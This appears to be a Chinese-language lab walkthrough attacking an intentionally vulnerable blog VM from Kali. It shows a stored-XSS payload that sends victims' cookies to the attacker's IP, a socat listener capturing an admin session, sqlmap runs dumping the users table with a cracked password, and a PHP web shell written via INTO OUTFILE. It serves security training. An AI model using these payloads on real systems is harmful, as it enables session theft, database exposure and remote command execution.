环境配置

虚拟机1

  • Debian x64
  • NAT Network

虚拟机2

  • Kali Linux
  • NAT Network

修改虚拟机2的 hosts 文件,前面的实验中都已说明,之后不再赘述。

XSS

通常可以使用 <script>alert(1)</script> 来检测页面中是否包含 XSS 漏洞,但容易 WAF 或其他安全防御机制过滤,使用 '">< 可以在一定程度上避免这个问题

根据提交返回的结果可以判断是否存在漏洞,当特殊符号被编码时将会增加 XSS 攻击的难度,甚至可能就不存在 XSS 漏洞

提交 返回结果 可利用性
1337'">< 1337'">< 没有任何编码,可以使用 <script> 标签进行 XSS 攻击
1337'">< 1337'"&gt;&lt; >< 被编码
1337'">< 1337'&quot;&gt;&lt; ">< 被编码
1337'">< 1337&#39;&quot;>< '">< 都被编码

打开网站是一个博客评论页面

尝试提交内容为 1337'">< 的评论,成功提交并原样显示(没有编码或过滤),直接提交 <script>alert(1)</script> ,成功弹窗

利用 XSS 获取 cookie ,这里的 IP 是攻击者 Kali 主机的 IP ,当用户访问页面时,评论中的脚本会被执行

1
<script>document.write('<img src="http://10.0.2.6/?'+document.cookie+'  "/>');</script>

在 Kali 主机上监听 80 端口,等待用户访问页面后发送 cookie

  • socat 在 80 端口上监听 TCP 服务
1
2
3
4
5
6
7
8
9
10
11
socat TCP-LISTEN:80,reuseaddr,fork -

# 得到以下结果
GET /?PHPSESSID=8mnl8ihf8v862uip1t79s16553 HTTP/1.1
User-Agent: Mozilla/5.0 (Unknown; Linux i686) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.1 Safari/534.34
Referer: http://127.0.0.1/post.php?id=1
Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip
Accept-Language: en-US,*
Host: 10.0.2.6

使用浏览器的开发者工具修改 cookie ,使用获取的 cookie 成功登录管理后台

SQL 注入

手工注入

在管理页面可以编辑已有的文章,从路径来看是根据 id 参数返回不同的文章,尝试 SQL 注入,返回错误信息

经测试共包含 4 个字段,这里利用不存在的 id 值成功回显字段,可以利用第 2、3 字段显示信息

获取当前用户、数据库

利用 load_file 读取服务器上的文件,顺便修改页面元素(增加行数)以方便查看内容

  • MySQL 的文件权限允许数据库用户访问文件系统
  • 在数据库中使用该语句查询拥有文件权限的数据库用户 SELECT user FROM mysql.user WHERE file_priv='Y';

sqlmap

sqlmap 测试 SQL 注入漏洞,使用获得的 cookie

  • id 参数可能存在 3 种类型的 SQL 注入漏洞
  • 服务器为 Debian 6.0
  • Web 应用程序使用 PHP 和 Apache
  • 数据库类型为 MySQL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
sqlmap http://vulnerable/admin/edit.php?id=1 --cookie="PHPSESSID=fmnckqkjhtbnbti9sbfd5gapu1"

# 结果(部分)
sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 2778=2778

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 7634 FROM (SELECT(SLEEP(5)))NPFW)

Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: id=-1914 UNION ALL SELECT NULL,NULL,CONCAT(0x7176627171,0x535642626f7242716a45754d6d6c5761434a615353546d6e4f6d7965566366726573655a53687449,0x716b767171),NULL-- jjIW
---

# 结果(部分)
web server operating system: Linux Debian 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL >= 5.0.12

获取数据库信息,得到 3 个数据库

1
2
3
4
5
6
7
sqlmap http://vulnerable/admin/edit.php?id=1 --cookie="PHPSESSID=fmnckqkjhtbnbti9sbfd5gapu1" --dbs

# 结果
available databases [3]:
[*] blog
[*] information_schema
[*] mysql

获取 blog 数据库的数据表,得到 4 张表

1
2
3
4
5
6
7
8
9
10
sqlmap http://vulnerable/admin/edit.php?id=1 --cookie="PHPSESSID=fmnckqkjhtbnbti9sbfd5gapu1" -D blog --tables

# 结果
Database: blog
[3 tables]
+----------+
| comments |
| posts |
| users |
+----------+

获取 users 数据表的信息,选择破解哈希值,得到用户名和密码

1
2
3
4
5
6
7
8
9
10
11
sqlmap http://vulnerable/admin/edit.php?id=1 --cookie="PHPSESSID=fmnckqkjhtbnbti9sbfd5gapu1" -D blog -T users --dump

# 结果
Database: blog
Table: users
[1 entry]
+----+-------+---------------------------------------------+
| id | login | password |
+----+-------+---------------------------------------------+
| 1 | admin | 8efe310f9ab3efeae8d410a8e0166eb2 (P4ssw0rd) |
+----+-------+---------------------------------------------+

Webshell

根据测试 SQL 注入漏洞时得到的错误信息得知,修改页面时的工作路径为 /var/www/classes/post.php

利用 select ... into outfile "filename" 将查询结果写入文件,尝试写入 /var/www/classes/ 路径,写入失败

1
http://vulnerable/admin/edit.php?id=0 union select 1,2,3,4 into outfile "/var/www/classes/s.php"

写入 /var/www/css/ 路径成功

直接将 Webshell 写入 /var/www/css/ 路径,文件成功执行

1
2
3
<?php 
system($_GET['cmd']);
?>
1
http://vulnerable/admin/edit.php?id=0 union select 1,2,"<?php system($_GET['cmd']); ?>",4 into outfile "/var/www/css/shell.php"

参阅